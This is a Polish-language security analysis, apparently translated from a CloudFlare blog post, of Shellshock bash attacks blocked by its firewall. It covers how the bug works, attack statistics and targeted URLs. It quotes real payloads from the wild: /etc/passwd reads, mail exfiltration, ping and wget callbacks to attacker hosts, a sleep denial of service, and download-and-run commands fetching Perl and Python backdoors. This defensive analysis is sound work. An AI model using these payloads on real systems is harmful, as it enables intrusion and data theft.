W środę ubiegłego tygodnia pojawiły się szczegóły błędu ShellShock bash. Ten błąd rozpoczął kodowanie do łatania komputerów, serwerów, routerów, zapór ogniowych i innych urządzeń komputerowych przy użyciu podatnych wersji bash.
CloudFlare natychmiast wdrożył ochronę dla klientów Pro, biznesowych i korporacyjnych za pośrednictwem naszej zapory aplikacji internetowej. W niedzielę, po przestudiowaniu skali problemu i przeglądnięciu dzienników ataków zatrzymanych przez nasz WAF, postanowiliśmy wdrożyć ochronę również dla naszych klientów z bezpłatnym planem.
od tego czasu monitorujemy ataki, które zatrzymaliśmy, aby zrozumieć, jak wyglądają i skąd pochodzą. Z naszych obserwacji wynika, że hakerzy wykorzystują Shellshock na całym świecie.
(CC BY 2.0 aussiegall)
Eject
problem z Shellshock jest przykładem luki w działaniu dowolnego kodu (Ace). Zazwyczaj ataki luk w zabezpieczeniach ACE są wykonywane na uruchomionych programach i wymagają wysoce zaawansowanej wiedzy na temat wewnętrznych aspektów wykonywania kodu, układu pamięci i języka asemblacji—krótko mówiąc, ten rodzaj ataku wymaga eksperta.
atakujący użyje również luki ACE do załadowania lub uruchomienia programu, który daje im prosty sposób kontrolowania docelowej maszyny. Często osiąga się to poprzez uruchomienie „powłoki”. Powłoka jest wierszem poleceń, w którym można wprowadzać i wykonywać polecenia.
luka w zabezpieczeniach Shellshock jest poważnym problemem, ponieważ usuwa potrzebę specjalistycznej wiedzy i zapewnia prosty (niestety bardzo prosty) sposób przejęcia kontroli nad innym komputerem (takim jak serwer WWW) i zmuszenia go do uruchamiania kodu.
Załóżmy na chwilę, że chcesz zaatakować serwer WWW i otworzyć jego napęd CD lub DVD. W Linuksie jest polecenie, które to zrobi: /bin/eject. Jeśli serwer WWW jest podatny na Shellshock, możesz go zaatakować, dodając magiczny ciąg () { :; }; do /bin/eject, a następnie wysyłając ten ciąg do komputera docelowego przez HTTP. Zwykle ciągUser-Agent identyfikuje typ używanej przeglądarki, ale w przypadku luki w zabezpieczeniach Shellshock można ustawić, aby mówiła cokolwiek.
na przykład, jeśli example.com był podatny wtedy
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/wystarczyłoby do wysuwania napędu CD lub DVD.
monitorując ataki Shellshock, które zablokowaliśmy, widzieliśmy, jak ktoś próbuje dokładnie tego ataku. Tak więc, jeśli uruchomisz serwer internetowy i nagle znajdziesz wyrzuconą płytę DVD, może to oznaczać, że Twoja maszyna jest podatna na Shellshock.
dlaczego ten prosty atak działa
gdy serwer WWW otrzymuje żądanie strony, istnieją trzy części żądania, które mogą być podatne na atak Shellshock: adres URL żądania, nagłówki, które są wysyłane wraz z adresem URL, i tak zwane „argumenty” (po wprowadzeniu nazwy i adresu na stronie internetowej będą one zazwyczaj wysyłane jako argumenty w żądaniu).
na przykład, oto rzeczywiste żądanie HTTP, które pobiera stronę główną CloudFlare:
GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.comw tym przypadku URL to / (Strona główna), a nagłówki to Accept-EncodingAccept-Language itd. Nagłówki te dostarczają serwerowi internetowemu informacji o możliwościach mojej przeglądarki internetowej, preferowanym języku, witrynie internetowej, której szukam i jakiej przeglądarki używam.
często zdarza się, że są one przekształcane w zmienne wewnątrz serwera www, aby serwer WWW mógł je zbadać. (Serwer WWW może chcieć wiedzieć, jaki jest mój preferowany język, aby mógł zdecydować, jak mi odpowiedzieć).
na przykład wewnątrz serwera webowego odpowiadającego na żądanie strony głównej CloudFlare możliwe jest, że następujące zmienne są zdefiniowane przez skopiowanie nagłówków żądania znak po znaku.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.comdopóki te zmienne pozostają wewnątrz oprogramowania serwera WWW i nie są przekazywane do innych programów uruchomionych na serwerze WWW, serwer nie jest podatny na zagrożenia.
Shellshock występuje, gdy zmienne są przekazywane do powłoki o nazwie „bash”. Bash jest popularną powłoką używaną w systemach Linux. Serwery WWW często muszą uruchamiać inne programy, aby odpowiedzieć na żądanie, i często zmienne te są przekazywane do bash lub innej powłoki.
problem Shellshock występuje, gdy atakujący modyfikuje żądanie HTTP origin tak, aby zawierało magiczny ciąg() { :; }; opisany powyżej.
Załóżmy, że atakujący zmieni nagłówek User-Agent powyżej z Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36NA po prostu () { :; }; /bin/eject. Wytworzy to następującą zmienną wewnątrz serwera www:
HTTP_USER_AGENT=() { :; }; /bin/eject Jeśli ta zmienna zostanie przekazana do Basha przez serwer WWW, wystąpi problem z Shellshock. Dzieje się tak dlatego, że bash ma specjalne reguły do obsługi zmiennej zaczynającej się od () { :; };. Zamiast traktować zmienną HTTP_USER_AGENT jako ciąg znaków bez specjalnego znaczenia, bash zinterpretuje ją jako polecenie, które musi zostać wykonane (pominąłem głęboko techniczne wyjaśnienia, dlaczego () { :; }; sprawia, że bash zachowuje się tak dla jasności w tym eseju.)
problem polega na tym, że HTTP_USER_AGENT pochodzi z nagłówka User-Agent, który jest czymś, nad czym atakujący kontroluje, ponieważ wchodzi do serwera www w żądaniu HTTP. I to jest recepta na katastrofę, ponieważ atakujący może sprawić, że podatny serwer uruchomi dowolną komendę, którą chce (zobacz przykłady poniżej).
rozwiązaniem jest uaktualnienie Basha do wersji, która nie interpretuje () { :; }; w specjalny sposób.
skąd pochodzą ataki
Kiedy wdrożyliśmy ochronę dla wszystkich klientów, wprowadziliśmy wskaźnik, który pozwolił nam monitorować liczbę próbowanych ataków Shellshock. Wszyscy otrzymali zabroniony kod błędu HTTP 403, ale prowadziliśmy dziennik czasu ich wystąpienia i podstawowe informacje o ataku.
Ten wykres pokazuje liczbę ataków na sekundę w całej sieci CloudFlare od czasu wdrożenia ochrony dla wszystkich klientów.
od momentu, gdy CloudFlare włączył ochronę Shellshock aż do wczesnego ranka, obserwowaliśmy od 10 do 15 ataków na sekundę. W kolejności wolumenu ataków wnioski te pochodziły z Francji (80%), USA (7%), Holandii (7%), a następnie mniejsze ilości z wielu innych krajów.
około godz. 1000 w Paryżu ataki z Francji ustały. Obecnie widzimy około 5 ataków na sekundę. W chwili pisania tego tekstu zablokowaliśmy ponad 1,1 mln ataków Shellshock.
niech twoja wyobraźnia szaleje
ponieważ tak łatwo jest atakować podatne maszyny za pomocą Shellshock, a ponieważ podatna maszyna uruchomi każde wysłane do niej polecenie, atakujący pozwolili swojej wyobraźni szaleć dzięki sposobom zdalnego manipulowania komputerami.
WAF CloudFlare rejestruje powód, dla którego zablokował żądanie, pozwalając nam wyodrębnić i przeanalizować rzeczywiste używane ciągi Shellshock. Shellshock jest używany głównie do rozpoznania: do wydobywania prywatnych informacji i umożliwienia atakującym przejęcia kontroli nad serwerami.
większość poleceń Shellshock jest wstrzykiwana przy użyciu nagłówków HTTP User-Agent i Referer, ale atakujący używają również argumentów GET I POST oraz innych losowych nagłówków HTTP.
aby wydobyć prywatne informacje, napastnicy używają kilku technik. Najprostsze ataki ekstrakcyjne mają postać:
() {:;}; /bin/cat /etc/passwd, który odczytuje plik hasła/etc/passwd I dodaje go do odpowiedzi z serwera www. Tak więc atakujący wstrzykujący ten kod przez lukę Shellshock zobaczy plik hasła wyrzucony na ekran jako część zwróconej strony internetowej.
w jednym ataku po prostu wysyłają prywatne pliki do siebie. Aby uzyskać dane za pośrednictwem poczty e-mail, atakujący używają polecenia mail w ten sposób:
() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' To polecenie najpierw uruchamia whoami, aby dowiedzieć się, jak nazywa się użytkownik korzystający z serwera www. Jest to szczególnie przydatne, ponieważ jeśli serwer WWW jest uruchamiany jako root (superużytkownik, który może zrobić wszystko), serwer będzie szczególnie bogatym celem.
następnie wysyła nazwę użytkownika wraz z nazwą atakowanej strony (example.com powyżej) za pośrednictwem poczty elektronicznej. Nazwa strony internetowej pojawia się w temacie wiadomości e-mail.
w wolnym czasie atakujący może zalogować się do swojego adresu e-mail i dowiedzieć się, które witryny były podatne na ataki. Ta sama technika wiadomości e-mail może być użyta do wyodrębnienia danych, takich jak plik hasła.
(CC BY 2.
rekonesans
zdecydowanie najpopularniejszy atak jaki widzieliśmy (około 83% wszystkich ataków) nazywa się „rekonesans”. W atakach rozpoznawczych atakujący wysyła polecenie, które wyśle wiadomość do maszyny innej firmy. Maszyna innej firmy przygotuje listę wszystkich podatnych maszyn, które się z nią skontaktowały.
w przeszłości widzieliśmy listy skompromitowanych maszyn zamieniane w botnety w celach DDoS, spamu lub innych.
popularna technika rozpoznania używa poleceniaping, aby podatna maszyna wysłała pojedynczy pakiet (zwany pingiem) na serwer innej firmy, który kontroluje atakujący. Ciąg ataku wygląda tak:
() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.compolecenie ping jest zwykle używane do testowania, czy maszyna jest „żywa”, czy online (żywa maszyna odpowiada własnym pingiem). Jeśli serwer WWW jest podatny na Shellshock, wyśle pojedynczy pakiet ping (-c 1) do atakującej maszyny.com z ładunkiem ustawionym przez -p. Ładunek jest unikalnym identyfikatorem utworzonym przez atakującego, dzięki czemu może śledzić ping z powrotem do podatnej strony internetowej.
inną techniką używaną do identyfikacji podatnych serwerów jest zmuszenie serwera www do pobrania strony internetowej z komputera kontrolowanego przez atakującego. Atakujący może następnie zajrzeć do dzienników serwera sieciowego, aby dowiedzieć się, która maszyna była podatna na ataki. Ten atak działa wysyłając ciąg Shellshock jak:
() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/nullatakujący zagląda do dziennika serwera www z attacker-controlled.com do wpisów. Strona pobrana jest ustawiana przez atakującego tak, aby ujawniała nazwę zaatakowanej strony. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== jest w rzeczywistości kodem wskazującym, że zaatakowana strona została example.com.
ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== jest w rzeczywistości zakodowanym ciągiem znaków base64. Po dekodowaniu czyta się:
example.comShellShockSalt z tego ciągu atakujący może dowiedzieć się, czy ich atak na przykład.com powiodło się, a jeśli tak, mogą wrócić później, aby dalej wykorzystać tę stronę. Chociaż podstawiłem domenę, która była celem, widzimy prawdziwe przykłady w naturze, które faktycznie używają ShellShockSalt jako soli w haszu.
odmowa usługi
inny atak Shellshock używa tego łańcucha
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20próbuje uruchomić poleceniesleep na trzy różne sposoby (ponieważ systemy mają nieco inne konfiguracje, sleep można znaleźć w katalogach/bin div>lub/sbinlub/usr/bin). Niezależnie od tego, czy zostanie uruchomiony sen, serwer odczekuje 20 sekund przed odpowiedzeniem . To pochłonie zasoby na maszynie, ponieważ wątek lub proces wykonujący sleep nie zrobi nic innego przez 20 sekund.
to chyba najprostsza odmowa usługi ze wszystkich. Atakujący po prostu każe maszynie spać na chwilę. Wyślij wystarczającą ilość tych poleceń, a maszyna może być przywiązana do niczego i nie być w stanie obsłużyć uzasadnionych żądań.
(CC BY 2.0 peter castleton)
przejęcie kontroli
około 8% ataków, które do tej pory widzieliśmy, miało na celu bezpośrednie przejęcie kontroli nad serwerem. Ataki zdalnego sterowania wyglądają następująco:
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"To polecenie próbuje użyć dwóch programów (wgetI curl) do pobrania programu z serwera, który kontroluje atakujący. Program jest napisany w języku Perl, a po pobraniu jest natychmiast uruchamiany. Ten program ustawia zdalny dostęp atakującego do podatnego serwera www.
kolejny atak używa języka Python do skonfigurowania programu, który może być użyty do zdalnego uruchomienia dowolnego polecenia na podatnym komputerze:
() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"pobrany programcl.py wygląda jak Aktualizacja programu antywirusowego ClamAV. Po 5 sekundowym opóźnieniu atak oczyszcza się po sobie, usuwając pobrany plik (pozostawiając go tylko w pamięci).
(CC BY 2.0 Jeff Taylor)
Wybór celu
patrząc na atakowane strony internetowe i żądane adresy URL, można dobrze zgadnąć, które aplikacje internetowe są atakowane.
najlepsze adresy URL jakie widzieliśmy to: /(23.00%),/cgi-bin-sdb /printenv(15.12%),/CGI-mod / index.cgi (14.93%), /CGI-sys/entropysearch.cgi (15.20%) i/CGI-sys / defaultwebpage.cgi(14,59%). Niektóre z tych adresów URL są używane przez popularne aplikacje internetowe, a nawet urządzenia sprzętowe.
wydaje się, że 23% ataków jest skierowane przeciwko oprogramowaniu kontrolującemu hosting cPanel, 15% przeciwko starym instalacjom Apache i 15% przeciwko produktom sprzętowym Barracuda, które mają interfejs internetowy.
to ostatnie jest interesujące, ponieważ podkreśla fakt, że Shellshock to nie tylko atak na strony internetowe: to atak na wszystko, co działa w bashu i jest dostępne w Internecie. To może obejmować urządzenia sprzętowe, Dekodery, laptopy, a nawet, być może, telefony.